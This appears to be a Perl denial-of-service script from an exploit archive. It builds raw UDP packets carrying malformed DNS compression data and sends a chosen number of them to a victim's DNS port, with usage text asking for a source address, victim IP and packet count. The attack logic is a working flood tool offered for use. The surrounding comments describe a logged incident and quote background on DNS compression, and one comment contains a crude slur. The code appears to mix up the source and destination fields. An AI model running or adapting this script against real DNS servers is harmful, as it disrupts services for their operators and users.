#!/usr/bin/perl # # DNS Invalid Compression attack coded by sipher (www.elitter.net) # # History: # elitter.net provides Free UNIX shells and receives its more than fair amount of DDoS's and DoS # attacks. 1 lovely day someone targeted our DNS services and managed to bring the system to 100% # CPU usage. # # Goal: # # Reproduce following error message, hopefully get the same results of 100% CPU usage. # # Error output: # # Jul 9 19:36:30 42262 mydns[26545]: 09-Jul-2011 19:36:30+359454 #24949 12337 UDP 202.164.36.27 000 000 # FORMERR Invalid_compression_method 13365 0 0 0 LOG N 006 "" # # Here is a sample of the packet (tcpdump -lnx port 53): # # 4500 002b 512f 4000 3411 92a9 2989 601e # cc2d 0d15 e483 0035 0017 e98c 3031 3233 # 3435 3637 3839 4142 4344 4500 0000 # # So next time you decide to attack someone. You might just squash your bug. # # Testbed: # isc.org,dbjdns # # DNS packets use an ad-hoc compression method in which portions of domain names can sometimes be replaced with two-byte pointers to previous domain names. # The precise rule is that a name can be compressed if it is a response owner name, the name in NS data, the name in CNAME data, the name in PTR data, # the name in MX data, or one of the names in SOA data. # One problem with DNS compression is the amount of code required to parse it. Reliably locating all these names takes quite a bit of work that # would otherwise have been unnecessary for a DNS cache. LZ77 compression would have been much easier to implement. # # Another problem with DNS compression is the amount of code required to correctly generate it. (RFC 1035 allowed servers to not bother compressing # their responses; however, caches have to implement compression,so that address lists from some well-known sites don't burst the seams of a DNS UDP packet.) # Not only does the compressor need to figure out which names can be compressed, but it also needs to keep track of compression targets earlier in the packet. # RFC 1035 doesn't make clear exactly what targets are allowed. # (Most versions of BIND do not use pointers except to compressible names; suffixes of the query name are excluded. dnscache uses pointers to suffixes of the query name.) # # -djb # # Shouts: burnout, hightech, spithash, pookie, #elitter@irc.elitter.net # # http://www.hsc.fr/ressources/outils/rawsock/index.html.en use Net::RawSock; if($#ARGV != 2) { print "--> DNS Invalid compression attack (www.elitter.net)\n"; print "--> NOTE: Most ISP block spoofed UDP packets. Enter a valid source address.\n"; print "./compdns.pl < source address > < IP of victim > < # of packets >\n"; exit(0); } print "--> DNS Invalid compress attack\n"; $count = 1; $sourceaddy = $ARGV[0]; $target = $ARGV[1]; $numpkt = $ARGV[2]; $dst_host = (gethostbyname($sourceaddy))[4]; $src_host = (gethostbyname($target))[4]; $dst_host = pack('a4', $dst_host); $src_host = pack('a4', $src_host); while ($count <= $numpkt) { print "--> [$count]: ($sourceaddy)->($target)\n"; my $pkt = "\x45\x00\x00\x2b\x00\x00\x40\x00\x34\x11\x92\xa9". # destination address # Example: "\x43\x9f\x27\x94". "$dst_host". # source address # Example: "\xcc\x2d\x0d\x12". "$src_host". # source port "\xe4\x83". # destination port "\x00\x35". # length "\x00\x17". # checksum null whore "\x00\x00". # data = junk "\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x41\x42\x43\x44\x45\x00\x00\x00". "\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x41\x42\x43\x44\x45\x00\x00\x00". "\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x41\x42\x43\x44\x45\x00\x00\x00"; Net::RawSock::write_ip($pkt); $count++; } print "--> Done.\n";